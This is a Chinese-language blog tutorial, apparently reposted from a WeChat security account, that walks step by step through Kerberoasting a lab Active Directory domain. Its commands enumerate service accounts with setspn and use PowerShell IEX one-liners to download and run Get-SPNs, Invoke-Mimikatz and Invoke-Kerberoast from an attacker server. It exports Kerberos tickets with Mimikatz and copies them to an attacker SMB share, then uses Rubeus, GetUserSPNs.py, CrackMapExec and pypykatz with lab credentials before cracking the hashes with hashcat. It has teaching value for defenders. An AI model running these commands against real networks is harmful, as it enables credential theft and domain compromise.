域渗透 Kerberoasting 攻击

admin 2025年2月11日16:27:51评论21 views字数 9944阅读33分8秒阅读模式

这篇博文中,我们将探讨在 Active Directory 环境中执行 kerberoasting 攻击的多种方法。

首先,我们将简要了解 Kerberos 以及 kerberoasting 攻击的工作原理。

从那里开始,我们的第一个示例从在域中的目标 Windows 10 主机上获得立足点开始。

在目标主机上建立立足点后,我们将利用 LOLBins 和 PowerShell 脚本(我们需要将其转移到受害者身上)来枚举可 kerberoastable 域服务帐户。

在确定两个 kerberoastable 域服务帐户后,我们将回顾使用各种方法/工具执行 kerberoasting 攻击的多种方法。

接下来,我们将了解其他三种工具,这些工具可用于远程枚举可 kerberoasting 服务帐户,以及执行 kerberoasting 攻击。

最后,我们将获取从 kerberoasting 攻击中提取的服务账户 TGS-REP 哈希,并使用 Hashcat 破解它。

什么是 Kerberos?

Kerberos是一种身份验证(安全)协议,用于对两个或多个受信任主机之间的服务请求进行身份验证。

密钥分发中心 (KDC) 用于验证客户端-服务器应用程序和验证用户身份。KDC 提供身份验证和票证授予服务,颁发用于安全身份验证的“票证”。

作为替换 NTLM 的一种方式,Kerberos 提供了一种安全机制 (票证) 来验证网络用户和服务的身份。客户端可以使用其票证授予票证 (Ticket Granting Ticket, TGT) 向 KDC 请求服务票证,然后该服务票证将用于进行身份验证并与请求的服务建立安全会话。

域渗透 Kerberoasting 攻击

什么是 Kerberoasting 攻击?

kerberoasting 攻击是一种技术,允许攻击者为已注册 SPN 的任何服务请求服务票证。请求后,此服务票证将以 TGS-REP 哈希的形式呈现给攻击者。

然后攻击者获取此票证(哈希),并使用Hashcat等工具破解服务帐户密码。

目标是获取代表 AD 中的用户账户运行的服务的 TGS 票证,然后尝试破解它们。

通常,kerberoasting 攻击包括四个步骤:

  • SPN 发现

  • 申请服务工单

  • 导出服务工单

  • Crack Service 门票

要执行 kerberoasting 攻击,我们需要满足以下两个要求中的至少一个:

  • 域账户 (任何账户) 的有效凭证集

  • 域中目标主机上的立足点 (任何账户)

如果域服务帐户具有已注册的 SPN,则它应该是 Kerberoastable;但是,攻击的成功取决于密码的强度以及破解的服务帐户所拥有的权限级别。

好了,现在我们已经从高层次了解了 Kerberos 和 kerberoasting 攻击,让我们继续我们的第一组示例。

寻找 SPN – Foothold

对于我们的第一组示例,我们将在网络中的目标主机上建立立足点后枚举 kerberoastable 用户。

假设在获得立足点之前,我们已经列举了网络中的三个主机:

  • Juggernaut-DC – 服务器 2019 – 172.16.1.5

  • JUGG-backup – 服务器 2019 -172.16.1.10

  • JUGG-efrost – Windows 10 – 172.16.1.100

从那里,我们在 Windows 10 主机 (172.16.1.100) 上发现了一个漏洞,我们设法利用了该漏洞,从而获得了一个反向 shell。但是,该漏洞不需要凭证即可利用。

域渗透 Kerberoasting 攻击

虽然我们没有一组凭证可以使用,但我们确实有一个立足点,它满足 kerberoasting 攻击的两个要求之一。

查找 Kerberoastable 服务帐户 – setspn

setspn命令 (setspn.exe) 用于为域中的服务帐户设置 SPN。但是,攻击者也可以使用它来枚举可 kerberoastable 服务帐户。

这是通过在陆地上生活来探测 kerberoastable 用户的好方法 - 在需要将任何工具下载到受害者身上之前。

要使用 setspn 命令,我们需要提供域的名称或-T开关后的通配符。

如果我们使用通配符,它将检查当前林中的服务帐户。这意味着,如果林包含多个域,它将检查每个域是否有已注册的服务账户。

setspn -T * -F -Q */*

域渗透 Kerberoasting 攻击

在此示例中,林仅包含一个域:juggernaut.local

从输出中,我们可以看到命令成功执行,并找到了两个 kerberoastable 服务帐户:sqlservicebackup_svc

查找 Kerberoastable 服务帐户 – PowerShell 脚本

PowerShell 是另一种工具,我们可以使用它来离地生活 (kinda),并列举域服务帐户的已注册 SPN。

不幸的是,实际上没有任何好的 PowerShell 命令或 1 行代码来快速枚举 SPN——完全不像 setspn 的工作原理。因此,我们需要使用脚本来执行此枚举。

我们将使用的脚本称为Get-SPNs.ps1,可以在我的 GitHub 页面上找到。

将脚本的副本放到攻击者的机器上后,我们需要将脚本提供给受害者。为此,我们可以从工作目录(Get-SPNs.ps1 所在的位置)运行以下命令:

python3 -m http.server 80

域渗透 Kerberoasting 攻击

接下来,我们可以进入受害者计算机上的 PowerShell 提示符

powershell -ep bypass

域渗透 Kerberoasting 攻击

如果上述操作失败,您可以通过发回 Nishang 1-liner 来获取 PowerShell 提示符,可在此处找到。

现在我们有了 PowerShell 提示符,我们将使用 IEX 方法将脚本直接下载到受害者的内存中。

使用这种技术,脚本不会保存到磁盘,这使我们尽可能接近于陆地生活。然而,这并不是一个“真正的”离地生活的例子。

iex(new-object net.webclient).downloadstring('http://172.16.1.30/Get-SPNs.ps1')

域渗透 Kerberoasting 攻击

或者,如果我们发现自己由于某种原因无法获得 PowerShell 提示符,我们可以使用 cmd.exe 调用 PowerShell 并运行命令:

powershell.exe -c "iex(new-object net.webclient).downloadstring('http://172.16.1.30/Get-SPNs.ps1')"

域渗透 Kerberoasting 攻击

凉!现在我们已经了解了如何查找域服务账户 (SPN),让我们继续下一步 - 请求/导出服务工单。

有许多工具可用于列举可 kerberoast 的用户,包括BloodhoundPowerViewRSAT– 仅举几例。

收集服务票 – Foothold

在成功找到两个 kerberoastable domain 服务账户后,我们的下一个目标是为我们列举的每个服务账户请求一个 TGS(服务)工单。

TGS 验证票证是否用于指定目的,例如网络服务访问。

当我们请求服务票证时,该票证将授予我们并缓存到内存中。因此,为了从票据中获取 TGS-REP 哈希值,我们需要从内存中导出它。

请求 TGS 票证 – PowerShell

使用 PowerShell,我们可以请求服务票证,但无法导出它们。

要请求sqlservice账户的服务票证,我们可以使用以下命令:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "Juggernaut-DC/sqlservice.juggernaut.local:60111"

域渗透 Kerberoasting 攻击

然后对于backup_svc帐户:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "JUGGERNAUT-DC/backup_svc.juggernaut.local:60112"

域渗透 Kerberoasting 攻击

棒!两个工单都已成功请求并缓存在内存中。

接下来,我们可以使用klist命令确认这两个票据都已缓存。

klist

域渗透 Kerberoasting 攻击

伟大!这向我们显示两个服务票证都已缓存;但是,它还显示两个票证的加密类型为 RC4。

RC4 是一种非常弱的加密类型,很容易被破解。建议对 Kerberos/SPN 使用 AES 加密;但是,默认情况下,RC4 处于启用状态,并在使用SetSpn时自动分配给服务帐户。

现在,票据已经被缓存了,我们需要从内存中导出它们。

从内存中导出服务工单 – Foothold

为了从内存中导出服务票证,我们需要使用 Mimikatz 等工具。

对我们来说幸运的是,Mimikatz 有多种口味。因此,对于此示例,我们将使用 PowerShell 版本:Invoke-Mimikatz

或者,我们可以使用 Metasploit 的 “Kiwi” 模块,或者我们可以简单地使用 gentilkiwi 的mimikatz.exe的原始版本。

从内存中导出 TGS 票证 – Invoke-Mimikatz

Invoke-Mimikatz 是一个很棒的脚本,它利用了 Mimikatz 的强大功能,而无需将 mimikatz.exe 拖放到磁盘上。

与运行 Get-SPNs.ps1 时类似,我们也可以将 IEX 技术与 Invoke-Mimikatz.ps1 结合使用。

但是,应注意,使用 Invoke-Mimikatz.ps1 或 mimiktaz.exe 导出票证时,我们会将它们保存到磁盘。

首先,我们需要从上面的链接中获取 Invoke-Mimikatz 的副本,并将其保存在我们的工作目录(我们的 HTTP 服务器仍在运行的地方)。

接下来,我们需要通过在底部附加以下命令来编辑脚本:

echo Invoke-Mimikatz -Command '"kerberos::list /export"' >> Invoke-Mimikatz.ps1

域渗透 Kerberoasting 攻击

好了,脚本已准备就绪,HTTP 服务器正在运行。剩下要做的就是对受害者执行 IEX 命令,将脚本直接下载并执行到内存中。

iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-Mimikatz.ps1')

域渗透 Kerberoasting 攻击

该脚本将多个.kirbi文件保存到当前目录中。一个用于内存中缓存的每个票证。

域渗透 Kerberoasting 攻击

我们可以看到所有缓存的票据都已导出;但是,我们只对 Kerberoastable 服务帐户的两个感兴趣。

好了,现在我们需要将这些工单泄露回我们的攻击者计算机。

泄露 Kirbi 文件并重新格式化以进行破解

为了开始我们的泄露,我们将在攻击者的机器上设置一个 SMB 服务器,以便轻松地将文件传输给自己。

如果您想学习在以 Windows 主机为目标时将文件下载/上传到攻击者计算机/从攻击者计算机上传文件的各种技术,请在此处查看我关于该主题的帖子。

smbserver.py share $(pwd) -smb2support

域渗透 Kerberoasting 攻击

回到受害者,我们可以使用以下命令将文件复制到我们的共享文件夹中:

cp 2-40a10000-efrost@JUGGERNAUT-DC~backup_svc.juggernaut.local~60112-JUGGERNAUT.LOCAL.kirbi \172.16.1.30share

cp 3-40a10000-efrost@Juggernaut-DC~sqlservice.juggernaut.local~60111-JUGGERNAUT.LOCAL.kirbi \172.16.1.30share

域渗透 Kerberoasting 攻击

文件被复制而不会收到错误,这是有希望的。

现在再次检查我们的攻击者计算机,我们可以看到 kirbi 文件已成功传输到我们的工作目录。

域渗透 Kerberoasting 攻击

最后,现在 kirbi 文件在我们的攻击者机器上,我们需要将它们转换为可破解的格式。

对于此步骤,我们可以对两个 kirbi 文件使用kirbi2john,并将输出保存到单个文件中。

kirbi2john 3-40a10000-efrost@Juggernaut-DC~sqlservice.juggernaut.local~60111-JUGGERNAUT.LOCAL.kirbi > kerberoast.txt

kirbi2john 2-40a10000-efrost@JUGGERNAUT-DC~backup_svc.juggernaut.local~60112-JUGGERNAUT.LOCAL.kirbi >> kerberoast.txt

域渗透 Kerberoasting 攻击

在这种格式中,我们现在可以使用 John the Ripper 或 Hashcat 破解这些哈希值。

但是,在我们了解如何破解这些哈希之前,让我们看看一些可用于自动化我们刚刚看到的整个过程的工具。

自动 Kerberoasting 攻击 – Foothold

我们可以使用两个工具来自动化 kerberoasting 过程的前三个步骤:rubeus.exeInvoke-Kerberoast

只需一个命令,这些工具就可以搜索已注册的 SPN,请求服务工单,并将服务工单直接导出到终端。

最重要的是,哈希值以可破解的格式呈现,因此无需重新格式化 - 只需复制并粘贴到 TXT 文件中并开始破解即可!

Rubeus.exe

Rubeus 是一种工具,可以很容易地用于在 Active Directory 环境中执行 kerberoast 攻击。

如果您没有 rubeus.exe 的副本,可以从此处获取编译后的副本。

只需一个命令,rubeus.exe就可以识别、请求和提取域中的所有 kerberoastable 用户哈希值。

首先,我们需要从上面的链接中获取 Rubeus 的编译副本。然后,我们需要将 Rubeus 的副本传输到受害者计算机上。

由于我们已经有一个 SMB 服务器和一个 HTTP 服务器从我们的工作目录运行,因此我们将利用 SMB 服务器来获取 Rubeus 的副本。

cp \172.16.1.30sharerubeus.exe .

域渗透 Kerberoasting 攻击

一旦 Rubeus 被转移到目标主机上,我们就可以使用以下命令执行 kerberoasting 攻击:

.rubeus.exe keberoast

域渗透 Kerberoasting 攻击

域渗透 Kerberoasting 攻击

域渗透 Kerberoasting 攻击

繁荣!就这样,Rubeus 能够找到可 kerberoast 的用户,然后转储他们的 TGS-REP 哈希值!

我们现在可以将这些哈希值复制 + 粘贴到攻击者计算机上的 TXT 文件中。

当您将此哈希复制 + 粘贴到 txt 文件中时,上面看到的每一行都会有新行。如果您尝试按原样破解此哈希,它将不起作用,因为它的格式不适合 Hashcat。您可以使用一些 linux-fu 来清理它,或者简单地手动删除所有新行。无论你怎么做,关键是要把这个哈希值作为一个连续的字符串放在 txt 文件中,这样就可以用 Hashcat 来破解它。

Invoke-Kerberoast

Invoke-Kerberoast.ps1 是一个 PowerShell 脚本,是PowerShell Empire漏洞利用后框架的一部分。

将 PowerShell Empire 存储库的副本克隆到攻击者的计算机上后,我们可以通过两种方式使用此脚本。

首先,我们可以将脚本下载到磁盘,使用 dot sourcing 将其加载到当前会话中,然后运行以下命令来请求票证并接收可破解格式的哈希值:

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat hashcat | fl

Alternatively, we could do the same thing that we did with the Invoke-Mimikatz script and append the above command to the bottom of the script and then use the IEX command to download and execute the script directly into memory.

For this, we will want to copy the Invoke-Kerberoast.ps1 script into our working directly so that we are not editing the original script.

Next, we need to edit the script by appending the following command to the bottom:

echo 'Invoke-Kerberoast -OutputFormat hashcat | fl' >> Invoke-Kerberoast.ps1

域渗透 Kerberoasting 攻击

Then, on the victim you can download the script directly into memory using the following command:

iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-Kerberoast.ps1')

域渗透 Kerberoasting 攻击

Now, just like we did when we dumped the tickets with Rubeus, we can copy + paste the hashes into a TXT file so that they are ready to crack using Hashcat.

Cool! We have seen a lot of good examples of how to perform a kerberoasting attack. However, all of these attacks required us to have a foothold on the target to execute.

Now, we are going to pivot to a different scenario and see how we can perform a kerberoasting attack remotely.

自动 Kerberoasting攻击 – 远程

对于下一组示例,我们将看到三种不同的工具,我们可以使用它们来远程执行 kerberoasting 攻击(没有立足点):GetUserSPNs.py、CrackMapExecPypykatz

正如我们在前面的自动 kerberoasting 示例中看到的那样,本节中的所有三个工具都将搜索已注册的 SPN,请求服务票证,并将服务票证直接导出到终端。

在此方案中,我们将说在初始枚举期间,我们在 Windows 10 主机的 SMB 共享中找到了一组有效的凭据。

实习生 : W3lc0met0Th3p4rtY

在使用这些凭证检查我们的访问权限后,我们发现我们无法通过任何基本方式(RDP、WinRM、SMB)建立立足点。

但是,只需拥有一组有效的凭证,我们就可以执行 kerberoasting 攻击,因为它满足前面提到的第二个要求。

GetUserSPNs.py

GetUserSPNs.py 是Impacket脚本集合的一部分,这是所有黑客都需要在他们的工具带中拥有的必不可少的存储库。

GetUserSPNs.py 脚本的美妙之处在于它在攻击者端远程执行,这意味着我们不需要在受害者身上站稳脚跟来执行此攻击。

实际上,使用这个工具,我们可以在对 SPN 进行 kerberoast 之前枚举它们,这是一种很好的做法。

GetUserSPNs.py juggernaut.local/intern:'W3lc0met0Th3p4rtY' -dc-ip 172.16.1.5

域渗透 Kerberoasting 攻击

凉!这向我们展示了两个可 kerberoastable 服务帐户。此外,我们还可以看到该脚本还提取服务账户的组信息。

请注意,服务帐户通常位于 Domain Admins 组中 – 如果您看到该组,然后破解密码...游戏结束!

现在我们已经找到了两个 kerberoastable 帐户,我们需要做的就是在命令中添加-request标志以请求/导出 TGS-REP 哈希值。

GetUserSPNs.py juggernaut.local/intern:'W3lc0met0Th3p4rtY' -dc-ip 172.16.1.5 -request

域渗透 Kerberoasting 攻击

同样,此时我们可以将哈希值复制 + 粘贴到要破解的 TXT 文件中。

CrackMapExec (破解贴图执行)

继续我们的下一个示例,CrackMapExec 是我们可以用来远程执行 kerberoasting 攻击的另一个工具。

由于从 SPN 发现到请求和导出服务票证的过程是完全自动化的,因此我们可以使用单个命令执行此攻击:

crackmapexec ldap 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' --kerberoasting service_hashes.txt

域渗透 Kerberoasting 攻击

CrackMapExec 的伟大之处在于它需要一个文件名来将输出重定向到其中,因此无需复制 + 粘贴。相反,我们有一个不错的 TXT 文件等着我们,已经使用 Hashcat 格式化了要破解。

此外,我们可以看到 CrackMapExec 还能够提取每个服务账户的组成员资格详细信息。

Pypykatz

对于最后一个远程 kerberoasting 攻击示例,我们将使用一个名为Pypykatz的工具。

不幸的是,我在这个工具上的运气不是很好,只能获取两个服务哈希中的一个。无论如何,这个工具都很棒,因为它在执行 Kerberoasting 攻击时具有额外的灵活性。

也就是说,Pypykatz 能够为我们请求的工单选择加密类型。当 AES 与 RC4 一起启用时,这尤其有用(如果禁用 RC4,则不起作用)。

理想情况下,如果 AES 和 RC4 都启用,我们希望获取 RC4 哈希值,因为它要弱得多,破解速度也更快

我们可以通过在命令行上传递单个服务帐户来运行 Pypykatz,或者通过使用 LDAP 为我们查找可 kerberoast 的用户。

由于第一种技术需要我们知道服务帐户名称,因此它对我们并没有太大帮助。

因此,我们将专注于第二种技术,并利用 LDAP 让该工具为我们找到可 kerberoast 的账户。

pypykatz kerberos spnroast -e 23 'kerberos+password://juggernaut.localintern:[email protected]' -l 'ldap+ntlm-password://juggernaut.localintern:[email protected]' -o roast_me.txt

域渗透 Kerberoasting 攻击

底部的 INFO 消息显示命令已成功完成。

However, when I check the roast_me.txt file, it has 3 copies of thebackup_svcusers hash.

For some reason, it did not find thesqlserviceaccount?

域渗透 Kerberoasting 攻击

从输出中,我们可以看到该工具在尝试全自动 kerberoasting 攻击时存在一些问题。但是,Pypykatz 仍然是远程执行此攻击的绝佳选择。希望你用这个工具会比我运气更好。此外,请务必查看 Wiki 并测试其他 kerberoasting 选项。

Cracking the TGS-REP Hashes with Hashcat

现在我们已经看到了执行 kerberoasting 攻击的各种方法,是时候开始破解我们找到的哈希值了!在第一个示例中,我们将两个服务帐户的 kirbi 文件 (票证) 泄露到攻击者计算机上。然后,我们将这两个文件重新格式化为一个名为 keberoast.txt 的可破解 TXT 文件。使用 Hashcat 的帮助菜单,我们可以确定破解此类哈希所需的破解模式。由于我们知道我们请求的票据是 TGS-REP 哈希,因此我们可以使用 Hashcat 的 help 菜单来查找指定哈希类型的破解模式。

hashcat -h | grep -i 'kerberos'

TGS-REP 哈希有几个选项,这是因为 Kerberos 使用不同的哈希算法。

正如我们使用 Pypykatz 所看到的,类型 23 与 RC4 哈希有关,RC4 哈希是我们目前正在使用的哈希类型。

如果这些是 AES 哈希值,我们将使用类型 18。

凉!现在我们知道了要使用的破解模式,我们可以制作我们的 Hashcat 命令并开始破解了!

hashcat -m 13100 ./kerberoast.txt /usr/share/wordlists/rockyou.txt -o cracked_hashes.txt

域渗透 Kerberoasting 攻击

域渗透 Kerberoasting 攻击

域渗透 Kerberoasting 攻击

了不起!我们能够使用 Hashcat + rockyou.txt 破解其中一个哈希值。

cracked_hashes.txt检查输出文件,我们可以看到我们破解了backup_svc个账户哈希!

域渗透 Kerberoasting 攻击

域渗透 Kerberoasting 攻击
关注公众号
域渗透 Kerberoasting 攻击

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏

域渗透 Kerberoasting 攻击

原文始发于微信公众号(moonsec):域渗透 Kerberoasting 攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月11日16:27:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域渗透 Kerberoasting 攻击https://cn-sec.com/archives/3727770.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息